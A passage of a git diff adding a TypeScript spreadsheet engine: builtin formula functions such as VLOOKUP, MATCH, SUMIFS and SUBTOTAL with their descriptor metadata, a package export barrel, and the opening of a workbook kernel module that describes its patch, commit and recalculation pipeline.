+ if (isBlocking(n)) return n
+ if (n < 0) return err('#NUM!')
+ const date = serialToDate(n)
+ if (Number.isNaN(date.getTime())) return err('#NUM!')
+ return part === 'year'
+ ? date.getUTCFullYear()
+ : part === 'month'
+ ? date.getUTCMonth() + 1
+ : date.getUTCDate()
+ }
+ r.define({ name: 'YEAR', minArgs: 1, evaluate: datePart('year') })
+ r.define({ name: 'MONTH', minArgs: 1, evaluate: datePart('month') })
+ r.define({ name: 'DAY', minArgs: 1, evaluate: datePart('day') })
+
+ // --- Lookup ---------------------------------------------------------------
+
+ r.define({
+ name: 'VLOOKUP',
+ minArgs: 3,
+ maxArgs: 4,
+ evaluate(ctx) {
+ const key = ctx.args.scalar(0)
+ if (isBlocking(key)) return key
+ const rng = ctx.args.range(1)
+ if (!rng) return err('#N/A')
+ const colIndex = toNum(ctx.args.scalar(2))
+ if (isBlocking(colIndex)) return colIndex
+ const col = Math.trunc(colIndex)
+ if (col < 1) return err('#VALUE!')
+ if (col > rng.cols) return err('#REF!')
+ let approx = true
+ if (ctx.args.length > 3) {
+ const a = toBool(ctx.args.scalar(3))
+ if (isBlocking(a)) return a
+ approx = a
+ }
+
+ const col0 = [...rng.cells()]
+ .filter((cell) => cell.c === 0)
+ .sort((a, b) => a.r - b.r)
+
+ if (!approx) {
+ for (const e of col0) {
+ if (looseCompare(e.value, key) === 0) return rng.at(e.r, col - 1)
+ }
+ return err('#N/A')
+ }
+ // Approximate: largest value <= key (assumes the first column is ascending).
+ let best: (typeof col0)[number] | null = null
+ for (const e of col0) {
+ if (looseCompare(e.value, key) <= 0) best = e
+ else break
+ }
+ return best ? rng.at(best.r, col - 1) : err('#N/A')
+ },
+ })
+
+ r.define({
+ name: 'INDEX',
+ minArgs: 2,
+ maxArgs: 3,
+ evaluate(ctx) {
+ const rng = ctx.args.range(0)
+ if (!rng) return err('#REF!')
+ let rowNum = toNum(ctx.args.scalar(1))
+ if (isBlocking(rowNum)) return rowNum
+ let colNum = 1
+ if (ctx.args.length > 2) {
+ const c = toNum(ctx.args.scalar(2))
+ if (isBlocking(c)) return c
+ colNum = Math.trunc(c)
+ } else if (rng.rows === 1 && rng.cols > 1) {
+ // single row: the one index selects a column
+ colNum = Math.trunc(rowNum)
+ rowNum = 1
+ }
+ rowNum = Math.trunc(rowNum)
+ if (rowNum < 1 || rowNum > rng.rows || colNum < 1 || colNum > rng.cols) {
+ return err('#REF!')
+ }
+ return rng.at(rowNum - 1, colNum - 1)
+ },
+ })
+
+ r.define({
+ name: 'MATCH',
+ minArgs: 2,
+ maxArgs: 3,
+ evaluate(ctx) {
+ const key = ctx.args.scalar(0)
+ if (isBlocking(key)) return key
+ const rng = ctx.args.range(1)
+ if (!rng) return err('#N/A')
+ if (rng.rows !== 1 && rng.cols !== 1) return err('#N/A')
+ let type = 1
+ if (ctx.args.length > 2) {
+ const t = toNum(ctx.args.scalar(2))
+ if (isBlocking(t)) return t
+ type = Math.sign(Math.trunc(t))
+ }
+
+ const entries = [...rng.cells()]
+ .map((cell) => ({
+ i: rng.rows === 1 ? cell.c : cell.r,
+ value: cell.value,
+ }))
+ .sort((a, b) => a.i - b.i)
+
+ if (type === 0) {
+ for (const e of entries)
+ if (looseCompare(e.value, key) === 0) return e.i + 1
+ return err('#N/A')
+ }
+ if (type === 1) {
+ let best: number | null = null
+ for (const e of entries) {
+ if (looseCompare(e.value, key) <= 0) best = e.i
+ else break
+ }
+ return best === null ? err('#N/A') : best + 1
+ }
+ // type === -1 : smallest value >= key, descending
+ let best: number | null = null
+ for (const e of entries) {
+ if (looseCompare(e.value, key) >= 0) best = e.i
+ else break
+ }
+ return best === null ? err('#N/A') : best + 1
+ },
+ })
+
+ // --- Conditional aggregation & misc (common import functions) -------------
+
+ r.define({
+ name: 'SUMIF',
+ minArgs: 2,
+ maxArgs: 3,
+ evaluate(ctx) {
+ const range = ctx.args.range(0)
+ if (!range) return err('#VALUE!')
+ const crit = ctx.args.scalar(1)
+ if (isBlocking(crit)) return crit
+ const match = makeMatcher(crit)
+ const sumRange = ctx.args.length > 2 ? ctx.args.range(2) : range
+ let total = 0
+ for (const cell of range.cells()) {
+ // An unresolved criteria cell makes the whole conditional sum pending.
+ if (isPending(cell.value)) return pending()
+ if (!match(cell.value)) continue
+ const v = sumRange ? sumRange.at(cell.r, cell.c) : cell.value
+ if (isPending(v)) return pending()
+ if (typeof v === 'number') total += v
+ }
+ return total
+ },
+ })
+
+ r.define({
+ name: 'COUNTIF',
+ minArgs: 2,
+ evaluate(ctx) {
+ const range = ctx.args.range(0)
+ if (!range) return err('#VALUE!')
+ const crit = ctx.args.scalar(1)
+ if (isBlocking(crit)) return crit
+ const match = makeMatcher(crit)
+ let n = 0
+ for (const cell of range.cells()) {
+ if (isPending(cell.value)) return pending()
+ if (match(cell.value)) n++
+ }
+ return n
+ },
+ })
+
+ r.define({
+ name: 'SUMIFS',
+ minArgs: 3,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const sumRange = ctx.args.range(0)
+ if (!sumRange) return err('#VALUE!')
+ const pairs: Array<{
+ range: RangeArg
+ match: (v: CellValue) => boolean
+ }> = []
+ for (let i = 1; i + 1 < ctx.args.length; i += 2) {
+ const cr = ctx.args.range(i)
+ const crit = ctx.args.scalar(i + 1)
+ if (!cr) return err('#VALUE!')
+ if (isBlocking(crit)) return crit
+ pairs.push({ range: cr, match: makeMatcher(crit) })
+ }
+ let total = 0
+ for (const cell of sumRange.cells()) {
+ if (isPending(cell.value)) return pending()
+ if (typeof cell.value !== 'number') continue
+ let anyPending = false
+ const ok = pairs.every((p) => {
+ const pv = p.range.at(cell.r, cell.c)
+ if (isPending(pv)) {
+ anyPending = true
+ return false
+ }
+ return p.match(pv)
+ })
+ if (anyPending) return pending()
+ if (ok) total += cell.value
+ }
+ return total
+ },
+ })
+
+ r.define({
+ name: 'COUNTIFS',
+ minArgs: 2,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const pairs = criteriaPairs(ctx, 0)
+ if (!Array.isArray(pairs)) return pairs
+ if (pairs.length === 0) return err('#VALUE!')
+ let n = 0
+ for (const cell of pairs[0]!.range.cells()) {
+ const ok = allMatchAt(pairs, cell.r, cell.c)
+ if (ok === 'pending') return pending()
+ if (ok) n++
+ }
+ return n
+ },
+ })
+
+ r.define({
+ name: 'AVERAGEIF',
+ minArgs: 2,
+ maxArgs: 3,
+ evaluate(ctx) {
+ const range = ctx.args.range(0)
+ if (!range) return err('#VALUE!')
+ const crit = ctx.args.scalar(1)
+ if (isBlocking(crit)) return crit
+ const match = makeMatcher(crit)
+ const avgRange = ctx.args.length > 2 ? ctx.args.range(2) : range
+ let sum = 0
+ let count = 0
+ for (const cell of range.cells()) {
+ if (isPending(cell.value)) return pending()
+ if (!match(cell.value)) continue
+ const v = avgRange ? avgRange.at(cell.r, cell.c) : cell.value
+ if (isPending(v)) return pending()
+ if (typeof v === 'number') {
+ sum += v
+ count++
+ }
+ }
+ return count ? sum / count : err('#DIV/0!')
+ },
+ })
+
+ r.define({
+ name: 'AVERAGEIFS',
+ minArgs: 3,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const avgRange = ctx.args.range(0)
+ if (!avgRange) return err('#VALUE!')
+ const pairs = criteriaPairs(ctx, 1)
+ if (!Array.isArray(pairs)) return pairs
+ let sum = 0
+ let count = 0
+ for (const cell of avgRange.cells()) {
+ if (isPending(cell.value)) return pending()
+ if (typeof cell.value !== 'number') continue
+ const ok = allMatchAt(pairs, cell.r, cell.c)
+ if (ok === 'pending') return pending()
+ if (ok) {
+ sum += cell.value
+ count++
+ }
+ }
+ return count ? sum / count : err('#DIV/0!')
+ },
+ })
+
+ const minMaxIfs =
+ (which: 'min' | 'max') =>
+ (ctx: FnContext): CellValue => {
+ const valueRange = ctx.args.range(0)
+ if (!valueRange) return err('#VALUE!')
+ const pairs = criteriaPairs(ctx, 1)
+ if (!Array.isArray(pairs)) return pairs
+ const nums: Array = []
+ for (const cell of valueRange.cells()) {
+ if (isPending(cell.value)) return pending()
+ if (typeof cell.value !== 'number') continue
+ const ok = allMatchAt(pairs, cell.r, cell.c)
+ if (ok === 'pending') return pending()
+ if (ok) nums.push(cell.value)
+ }
+ if (nums.length === 0) return 0
+ return which === 'min' ? Math.min(...nums) : Math.max(...nums)
+ }
+ r.define({
+ name: 'MINIFS',
+ minArgs: 3,
+ maxArgs: Infinity,
+ evaluate: minMaxIfs('min'),
+ })
+ r.define({
+ name: 'MAXIFS',
+ minArgs: 3,
+ maxArgs: Infinity,
+ evaluate: minMaxIfs('max'),
+ })
+
+ const rounder =
+ (dir: 'up' | 'down') =>
+ (ctx: FnContext): CellValue => {
+ const x = toNum(ctx.args.scalar(0))
+ if (isBlocking(x)) return x
+ const d = toNum(ctx.args.scalar(1))
+ if (isBlocking(d)) return d
+ const f = Math.pow(10, Math.trunc(d))
+ const rounded =
+ dir === 'up' ? Math.ceil(Math.abs(x) * f) : Math.floor(Math.abs(x) * f)
+ return (Math.sign(x) || 1) * (rounded / f)
+ }
+ r.define({ name: 'ROUNDUP', minArgs: 2, evaluate: rounder('up') })
+ r.define({ name: 'ROUNDDOWN', minArgs: 2, evaluate: rounder('down') })
+
+ r.define({
+ name: 'IFERROR',
+ minArgs: 2,
+ evaluate(ctx) {
+ const v = ctx.args.scalar(0)
+ // Catch errors only; `pending` passes through (a not-yet-arrived value is
+ // not an error, so IFERROR must stay pending until it resolves).
+ return isErr(v) ? ctx.args.scalar(1) : v
+ },
+ })
+
+ // --- Async escape hatches (§3.1) ------------------------------------------
+
+ r.define({
+ name: 'IFPENDING',
+ minArgs: 2,
+ evaluate(ctx) {
+ const v = ctx.args.scalar(0)
+ return isPending(v) ? ctx.args.scalar(1) : v
+ },
+ })
+
+ r.define({
+ name: 'ISRESOLVED',
+ minArgs: 1,
+ evaluate(ctx) {
+ return !isPending(ctx.args.scalar(0))
+ },
+ })
+
+ r.define({
+ name: 'TEXT',
+ minArgs: 2,
+ evaluate(ctx) {
+ const v = ctx.args.scalar(0)
+ if (isBlocking(v)) return v
+ const code = toStr(ctx.args.scalar(1))
+ if (isBlocking(code)) return code
+ return formatValue(v, code)
+ },
+ })
+
+ // CONCATENATE is the legacy alias of CONCAT.
+ const concat = r.get('CONCAT')!
+ r.define({ ...concat, name: 'CONCATENATE' })
+
+ // --- SUBTOTAL / AGGREGATE (visibility-aware) ------------------------------
+
+ r.define({
+ name: 'SUBTOTAL',
+ minArgs: 2,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const fnNum = toNum(ctx.args.scalar(0))
+ if (isBlocking(fnNum)) return fnNum
+ const code = Math.trunc(fnNum)
+ const ignoreHidden = code > 100
+ return aggregate(ctx, code % 100, { ignoreHidden, ignoreErrors: false })
+ },
+ })
+
+ r.define({
+ name: 'AGGREGATE',
+ minArgs: 3,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const fnNum = toNum(ctx.args.scalar(0))
+ if (isBlocking(fnNum)) return fnNum
+ const optNum = toNum(ctx.args.scalar(1))
+ if (isBlocking(optNum)) return optNum
+ const opt = Math.trunc(optNum)
+ // options 1,3,5,7 ignore hidden rows; 2,3,6,7 ignore errors
+ const ignoreHidden = opt === 1 || opt === 3 || opt === 5 || opt === 7
+ const ignoreErrors = opt === 2 || opt === 3 || opt === 6 || opt === 7
+ return aggregate(
+ ctx,
+ Math.trunc(fnNum),
+ { ignoreHidden, ignoreErrors },
+ 2,
+ )
+ },
+ })
+
+ attachMetadata(r)
+ return r
+}
+
+// ---------------------------------------------------------------------------
+// Descriptor metadata
+// ---------------------------------------------------------------------------
+
+/**
+ * Human/AI-facing descriptor metadata for the builtins (§2.2: "the descriptor
+ * is documentation"). Kept as a table rather than inlined on every `define`
+ * call so the evaluate() bodies above stay readable; merged onto each
+ * registered def here so the catalog, help data, and validation share one
+ * source. `rest` (variadic args) and optional tails are reflected by the
+ * existing `minArgs`/`maxArgs` on each def.
+ */
+type BuiltinMeta = {
+ description: string
+ returns: CellValueType
+ args?: Array
+}
+
+const value: ArgDescriptor = { name: 'value', type: 'any' }
+const numbersRange: Array = [
+ { name: 'number1', type: 'number', acceptsRange: true },
+ { name: 'number2', type: 'number', acceptsRange: true, optional: true },
+]
+
+const BUILTIN_META: Record = {
+ SUM: {
+ description: 'Add all numbers in the arguments or ranges.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ AVERAGE: {
+ description: 'Arithmetic mean of the numeric values.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ MIN: {
+ description: 'Smallest numeric value.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ MAX: {
+ description: 'Largest numeric value.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ COUNT: {
+ description: 'Count of numeric values.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ COUNTA: {
+ description: 'Count of non-blank values.',
+ returns: 'number',
+ args: numbersRange,
+ },
+ ABS: {
+ description: 'Absolute value of a number.',
+ returns: 'number',
+ args: [{ name: 'number', type: 'number' }],
+ },
+ ROUND: {
+ description: 'Round a number to a given number of digits.',
+ returns: 'number',
+ args: [
+ { name: 'number', type: 'number' },
+ { name: 'digits', type: 'number' },
+ ],
+ },
+ ROUNDUP: {
+ description: 'Round a number away from zero to a given number of digits.',
+ returns: 'number',
+ args: [
+ { name: 'number', type: 'number' },
+ { name: 'digits', type: 'number' },
+ ],
+ },
+ ROUNDDOWN: {
+ description: 'Round a number toward zero to a given number of digits.',
+ returns: 'number',
+ args: [
+ { name: 'number', type: 'number' },
+ { name: 'digits', type: 'number' },
+ ],
+ },
+ IF: {
+ description: 'Return one value if a condition is true, another if false.',
+ returns: 'any',
+ args: [
+ { name: 'condition', type: 'boolean' },
+ { name: 'ifTrue', type: 'any' },
+ { name: 'ifFalse', type: 'any', optional: true },
+ ],
+ },
+ AND: {
+ description: 'TRUE if every argument is TRUE.',
+ returns: 'boolean',
+ args: [{ name: 'logical1', type: 'boolean', acceptsRange: true }],
+ },
+ OR: {
+ description: 'TRUE if any argument is TRUE.',
+ returns: 'boolean',
+ args: [{ name: 'logical1', type: 'boolean', acceptsRange: true }],
+ },
+ NOT: {
+ description: 'Reverse the logical value of its argument.',
+ returns: 'boolean',
+ args: [{ name: 'logical', type: 'boolean' }],
+ },
+ CONCAT: {
+ description: 'Join text values into one string.',
+ returns: 'string',
+ args: [{ name: 'text1', type: 'any', acceptsRange: true }],
+ },
+ CONCATENATE: {
+ description: 'Join text values into one string (legacy alias of CONCAT).',
+ returns: 'string',
+ args: [{ name: 'text1', type: 'any', acceptsRange: true }],
+ },
+ LEN: {
+ description: 'Number of characters in a text string.',
+ returns: 'number',
+ args: [{ name: 'text', type: 'string' }],
+ },
+ LEFT: {
+ description: 'Leftmost characters of a text string.',
+ returns: 'string',
+ args: [
+ { name: 'text', type: 'string' },
+ { name: 'count', type: 'number', optional: true },
+ ],
+ },
+ RIGHT: {
+ description: 'Rightmost characters of a text string.',
+ returns: 'string',
+ args: [
+ { name: 'text', type: 'string' },
+ { name: 'count', type: 'number', optional: true },
+ ],
+ },
+ MID: {
+ description: 'Characters from the middle of a text string.',
+ returns: 'string',
+ args: [
+ { name: 'text', type: 'string' },
+ { name: 'start', type: 'number' },
+ { name: 'count', type: 'number' },
+ ],
+ },
+ TRIM: {
+ description: 'Remove extra whitespace from text.',
+ returns: 'string',
+ args: [{ name: 'text', type: 'string' }],
+ },
+ UPPER: {
+ description: 'Convert text to upper case.',
+ returns: 'string',
+ args: [{ name: 'text', type: 'string' }],
+ },
+ LOWER: {
+ description: 'Convert text to lower case.',
+ returns: 'string',
+ args: [{ name: 'text', type: 'string' }],
+ },
+ TODAY: {
+ description: "Today's date as a serial number (volatile).",
+ returns: 'date',
+ args: [],
+ },
+ NOW: {
+ description: 'Current date and time as a serial number (volatile).',
+ returns: 'date',
+ args: [],
+ },
+ DATE: {
+ description: 'Date serial from year, month, and day (overflow rolls over).',
+ returns: 'date',
+ args: [
+ { name: 'year', type: 'number' },
+ { name: 'month', type: 'number' },
+ { name: 'day', type: 'number' },
+ ],
+ },
+ YEAR: {
+ description: 'Year of a date serial.',
+ returns: 'number',
+ args: [{ name: 'date', type: 'date' }],
+ },
+ MONTH: {
+ description: 'Month (1–12) of a date serial.',
+ returns: 'number',
+ args: [{ name: 'date', type: 'date' }],
+ },
+ DAY: {
+ description: 'Day of the month (1–31) of a date serial.',
+ returns: 'number',
+ args: [{ name: 'date', type: 'date' }],
+ },
+ VLOOKUP: {
+ description:
+ 'Look up a value in the first column of a range and return a value in the same row.',
+ returns: 'any',
+ args: [
+ { name: 'key', type: 'any' },
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'colIndex', type: 'number' },
+ { name: 'approximate', type: 'boolean', optional: true },
+ ],
+ },
+ INDEX: {
+ description: 'Value at a given row/column position within a range.',
+ returns: 'any',
+ args: [
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'row', type: 'number' },
+ { name: 'column', type: 'number', optional: true },
+ ],
+ },
+ MATCH: {
+ description: 'Position of a value within a one-row or one-column range.',
+ returns: 'number',
+ args: [
+ { name: 'key', type: 'any' },
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'matchType', type: 'number', optional: true },
+ ],
+ },
+ SUMIF: {
+ description: 'Sum the cells that meet a single criterion.',
+ returns: 'number',
+ args: [
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'criterion', type: 'any' },
+ { name: 'sumRange', type: 'range', acceptsRange: true, optional: true },
+ ],
+ },
+ COUNTIF: {
+ description: 'Count the cells that meet a single criterion.',
+ returns: 'number',
+ args: [
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'criterion', type: 'any' },
+ ],
+ },
+ SUMIFS: {
+ description: 'Sum the cells that meet multiple criteria.',
+ returns: 'number',
+ args: [
+ { name: 'sumRange', type: 'range', acceptsRange: true },
+ { name: 'criteriaRange1', type: 'range', acceptsRange: true },
+ { name: 'criterion1', type: 'any' },
+ ],
+ },
+ COUNTIFS: {
+ description: 'Count the cells that meet multiple criteria.',
+ returns: 'number',
+ args: [
+ { name: 'criteriaRange1', type: 'range', acceptsRange: true },
+ { name: 'criterion1', type: 'any' },
+ ],
+ },
+ AVERAGEIF: {
+ description: 'Average the cells that meet a single criterion.',
+ returns: 'number',
+ args: [
+ { name: 'range', type: 'range', acceptsRange: true },
+ { name: 'criterion', type: 'any' },
+ {
+ name: 'averageRange',
+ type: 'range',
+ acceptsRange: true,
+ optional: true,
+ },
+ ],
+ },
+ AVERAGEIFS: {
+ description: 'Average the cells that meet multiple criteria.',
+ returns: 'number',
+ args: [
+ { name: 'averageRange', type: 'range', acceptsRange: true },
+ { name: 'criteriaRange1', type: 'range', acceptsRange: true },
+ { name: 'criterion1', type: 'any' },
+ ],
+ },
+ MINIFS: {
+ description: 'Smallest value among cells that meet multiple criteria.',
+ returns: 'number',
+ args: [
+ { name: 'minRange', type: 'range', acceptsRange: true },
+ { name: 'criteriaRange1', type: 'range', acceptsRange: true },
+ { name: 'criterion1', type: 'any' },
+ ],
+ },
+ MAXIFS: {
+ description: 'Largest value among cells that meet multiple criteria.',
+ returns: 'number',
+ args: [
+ { name: 'maxRange', type: 'range', acceptsRange: true },
+ { name: 'criteriaRange1', type: 'range', acceptsRange: true },
+ { name: 'criterion1', type: 'any' },
+ ],
+ },
+ IFERROR: {
+ description: 'Return a fallback value when the first argument is an error.',
+ returns: 'any',
+ args: [value, { name: 'fallback', type: 'any' }],
+ },
+ IFPENDING: {
+ description:
+ 'Return a fallback while an async value is still pending (§3).',
+ returns: 'any',
+ args: [value, { name: 'fallback', type: 'any' }],
+ },
+ ISRESOLVED: {
+ description: 'TRUE once an async value has arrived (not pending).',
+ returns: 'boolean',
+ args: [value],
+ },
+ TEXT: {
+ description: 'Format a value as text using a number-format code.',
+ returns: 'string',
+ args: [value, { name: 'formatCode', type: 'string' }],
+ },
+ SUBTOTAL: {
+ description: 'Aggregate (SUM/AVERAGE/…) honouring row visibility.',
+ returns: 'number',
+ args: [
+ { name: 'functionCode', type: 'number' },
+ { name: 'range1', type: 'range', acceptsRange: true },
+ ],
+ },
+ AGGREGATE: {
+ description: 'Aggregate with options to ignore hidden rows and/or errors.',
+ returns: 'number',
+ args: [
+ { name: 'functionCode', type: 'number' },
+ { name: 'options', type: 'number' },
+ { name: 'range1', type: 'range', acceptsRange: true },
+ ],
+ },
+}
+
+/** Merge {@link BUILTIN_META} onto the registered defs (preserving `evaluate`). */
+function attachMetadata(r: FunctionRegistry): void {
+ for (const [name, meta] of Object.entries(BUILTIN_META)) {
+ const def = r.get(name)
+ if (def) r.define({ ...def, ...meta })
+ }
+}
+
+/** Aggregation codes shared by SUBTOTAL (1-11) and AGGREGATE (1-19). */
+type AggOpts = { ignoreHidden: boolean; ignoreErrors: boolean }
+
+/**
+ * Shared SUBTOTAL/AGGREGATE core. Gathers cells across the range args (starting
+ * at `firstArg`), optionally skipping rows the VisibilityPort reports hidden and
+ * error values, then applies the selected aggregation code.
+ *
+ * Note: nested SUBTOTAL/AGGREGATE results are not excluded (that needs marking
+ * in the value model) — a documented M5 limitation.
+ */
+function aggregate(
+ ctx: FnContext,
+ code: number,
+ opts: AggOpts,
+ firstArg = 1,
+): CellValue {
+ const visible = (sheet: string, row: number): boolean =>
+ ctx.visibility ? ctx.visibility.isRowVisible(sheet, row) : true
+
+ const nums: Array = []
+ let countA = 0
+
+ for (let i = firstArg; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ for (const cell of rng.cells()) {
+ if (opts.ignoreHidden && !visible(rng.sheet, rng.r0 + cell.r)) continue
+ // `pending` is never ignorable: an aggregate over a not-yet-arrived cell
+ // is itself pending. `ignoreErrors` applies to errors only.
+ if (isPending(cell.value)) return cell.value
+ if (isErr(cell.value)) {
+ if (opts.ignoreErrors) continue
+ return cell.value
+ }
+ countA++
+ if (typeof cell.value === 'number') nums.push(cell.value)
+ }
+ } else {
+ const v = ctx.args.scalar(i)
+ if (isPending(v)) return v
+ if (isErr(v)) {
+ if (opts.ignoreErrors) continue
+ return v
+ }
+ if (v !== null) countA++
+ const n = toNum(v)
+ if (!isBlocking(n)) nums.push(n)
+ }
+ }
+
+ switch (code) {
+ case 1: // AVERAGE
+ return nums.length
+ ? nums.reduce((a, b) => a + b, 0) / nums.length
+ : err('#DIV/0!')
+ case 2: // COUNT
+ return nums.length
+ case 3: // COUNTA
+ return countA
+ case 4: // MAX
+ return nums.length ? Math.max(...nums) : 0
+ case 5: // MIN
+ return nums.length ? Math.min(...nums) : 0
+ case 6: // PRODUCT
+ return nums.reduce((a, b) => a * b, 1)
+ case 9: // SUM
+ return nums.reduce((a, b) => a + b, 0)
+ default:
+ return err('#VALUE!') // STDEV/VAR family not implemented in M5
+ }
+}
diff --git a/packages/spreadsheet-core/src/index.ts b/packages/spreadsheet-core/src/index.ts
new file mode 100644
index 0000000000..8bbde93e13
--- /dev/null
+++ b/packages/spreadsheet-core/src/index.ts
@@ -0,0 +1,121 @@
+export * from './types'
+export {
+ MAX_COLS,
+ MAX_ROWS,
+ pack,
+ rowOf,
+ colOf,
+ colToLetter,
+ letterToCol,
+ parseA1,
+ formatA1,
+ translateRef,
+ makeRect,
+ rectArea,
+ rectContains,
+ rectsIntersect,
+} from './addr'
+export type { ParsedA1 } from './addr'
+export type { ReadonlySheet, CellHit } from './sheet'
+export { cellValueFacade, rangeFacade, writeCells } from './facades'
+export { coerceLiteral, isFormula, makeCell, invertPatches } from './tx'
+export { Workbook, createWorkbook, defaultCapabilities } from './workbook'
+export type { AllCapabilities, WorkbookKernel, WorkbookOf } from './workbook'
+export { WorkbookKernelBase } from './kernel'
+export type {
+ WorkbookOptions,
+ WorkbookKernelOptions,
+ FormulaValidation,
+ DefinedName,
+ DefinedNameInfo,
+} from './kernel'
+export { constructWorkbook } from './construct'
+export type { ConstructWorkbookOptions } from './construct'
+export { workbookCapabilities } from './capability'
+export type {
+ WorkbookCapability,
+ WorkbookCapabilities,
+ WorkbookInternal,
+ WorkbookPlugins,
+ Workbook_FeatureMap,
+ ExtractFeatureMapTypes,
+ IsAny,
+} from './capability'
+export { asyncCapability } from './capabilities/asyncCapability'
+export type { Workbook_Async } from './capabilities/asyncCapability'
+export { clipboardCapability } from './capabilities/clipboardCapability'
+export type { Workbook_Clipboard } from './capabilities/clipboardCapability'
+export { fillCapability } from './capabilities/fillCapability'
+export type { Workbook_Fill } from './capabilities/fillCapability'
+export { formatsCapability } from './capabilities/formatsCapability'
+export type { Workbook_Formats } from './capabilities/formatsCapability'
+export { mergesCapability } from './capabilities/mergesCapability'
+export type { Workbook_Merges } from './capabilities/mergesCapability'
+export { namesCapability } from './capabilities/namesCapability'
+export type { Workbook_Names } from './capabilities/namesCapability'
+export { provenanceCapability } from './capabilities/provenanceCapability'
+export type { Workbook_Provenance } from './capabilities/provenanceCapability'
+export { parse, tokenize, refsOf, ParseError } from './parser'
+export type { ParseOptions, FormulaRef } from './parser'
+export {
+ evaluate,
+ err,
+ isErr,
+ pending,
+ isPending,
+ isBlocking,
+ callKey,
+ toNum,
+ toStr,
+ toBool,
+ looseCompare,
+} from './eval'
+export type { Environment, AsyncEvalHook } from './eval'
+export { Scheduler } from './async'
+export type {
+ SchedulerOptions,
+ SchedulerStats,
+ AsyncCacheEntry,
+ AsyncCacheSeed,
+} from './async'
+export {
+ FunctionRegistry,
+ FunctionCollisionError,
+ systemClock,
+ mathRng,
+} from './ports'
+export type {
+ Clock,
+ Rng,
+ Locale,
+ VisibilityPort,
+ SheetProvider,
+ FnContext,
+ FnArgs,
+ FunctionDef,
+ FunctionPorts,
+ AbortSignalLike,
+ CellValueType,
+ ArgDescriptor,
+ FunctionOrigin,
+ FunctionPack,
+ PackManifestEntry,
+ FunctionCatalogEntry,
+ AsyncArgValue,
+ AsyncRequest,
+ AsyncRequestInput,
+ AsyncResult,
+ AsyncPort,
+ RangeArg,
+} from './ports'
+export { builtins } from './functions'
+export { validateCalls } from './validate'
+export type { FunctionDiagnostic } from './validate'
+export { DepGraph, nodeId, decodeNode } from './deps'
+export type { NodeId } from './deps'
+export { serialize } from './serialize'
+export type { SerializeOptions } from './serialize'
+export { formatValue, isDateFormat } from './format'
+export { translateFormula } from './fill'
+export { parseTsv } from './clipboard'
+export type { Clipboard } from './clipboard'
diff --git a/packages/spreadsheet-core/src/kernel.ts b/packages/spreadsheet-core/src/kernel.ts
new file mode 100644
index 0000000000..68d184ad4b
--- /dev/null
+++ b/packages/spreadsheet-core/src/kernel.ts
@@ -0,0 +1,1203 @@
+/**
+ * The workbook kernel: sheets, reactive atoms, and the mutation/commit/recalc
+ * surface that is *always* present. Opt-in behavior (formats, merges, clipboard,
+ * fill, provenance, names, async) lives in capabilities (`./capabilities/*`)
+ * that assign their methods onto the instance during construction via
+ * {@link WorkbookInternal}. This module deliberately does **not** import
+ * `builtins` (the ~1375-line function catalog): the builtins default lives in
+ * the `createWorkbook`/`Workbook` factory layer (`./workbook`), so a consumer
+ * who constructs through the lean `constructWorkbook` entry and supplies their
+ * own `functions` gets a module graph free of `./functions`.
+ *
+ * Invariants from the design spec:
+ * 1. Mutation and commit are separate — `setInput` returns patches without
+ * applying them; everything funnels through `applyPatches`.
+ * 2. Computed values are never patches — they are re-derived on commit.
+ * 3. `subscribeRegion` is the perf primitive — a grid observes only its
+ * ~2k visible cells.
+ *
+ * `applyPatches` runs the full pipeline: apply inputs -> update the dependency
+ * graph -> gather the transitive dirty set -> topo-sort (detecting cycles) ->
+ * evaluate -> notify affected regions.
+ */
+
+import { createAtom } from '@tanstack/store'
+
+import { colOf, makeRect, pack, parseA1, rectContains, rowOf } from './addr'
+import { DepGraph, decodeNode, nodeId } from './deps'
+import { err, evaluate } from './eval'
+import { Scheduler } from './async'
+import { FunctionRegistry, mathRng, systemClock } from './ports'
+import { ParseError, parse, refsOf } from './parser'
+import { Sheet } from './sheet'
+import { makeCell } from './tx'
+import { validateCalls } from './validate'
+import type { ReadonlySheet } from './sheet'
+import type { Clipboard } from './clipboard'
+import type {
+ WorkbookCapabilities,
+ WorkbookCapability,
+ WorkbookInternal,
+} from './capability'
+import type {
+ AsyncPort,
+ Clock,
+ FunctionCatalogEntry,
+ FunctionDef,
+ FunctionOrigin,
+ FunctionPack,
+ FunctionPorts,
+ Locale,
+ PackManifestEntry,
+ Rng,
+ SheetProvider,
+ VisibilityPort,
+} from './ports'
+import type { AsyncCacheSeed, SchedulerStats } from './async'
+import type { Environment } from './eval'
+import type { NodeId, Precedents } from './deps'
+import type { Atom, ReadonlyAtom } from '@tanstack/store'
+import type { FunctionDiagnostic } from './validate'
+import type {
+ Cell,
+ CellKey,
+ CellValue,
+ CommitResult,
+ Node,
+ Patch,
+ RangeNode,
+ Rect,
+ Ref,
+ SheetId,
+ SheetInfo,
+ SheetProvenance,
+} from './types'
+
+/**
+ * A workbook-defined name. `scope` undefined means workbook-scoped; otherwise
+ * the name is scoped to that sheet. `definition` is the formula text the name
+ * binds to (a range, a constant, or a formula); `ast` is it parsed once.
+ */
+export interface DefinedName {
+ name: string
+ scope?: SheetId
+ definition: string
+ ast: Node
+}
+
+/** A listed defined name (the `ast` is internal and omitted). */
+export interface DefinedNameInfo {
+ name: string
+ scope?: SheetId
+ definition: string
+}
+
+/**
+ * Map key for the name table: scope (or `''` for workbook) + upper-cased name.
+ * Exported for the names capability, which keys the same shared `names` map.
+ */
+export function nameTableKey(
+ scope: SheetId | undefined,
+ upperName: string,
+): string {
+ return (scope ?? '') + '\u0000' + upperName
+}
+
+export interface WorkbookOptions {
+ functions?: FunctionRegistry
+ /** Custom function packs registered into the (possibly fresh) registry. */
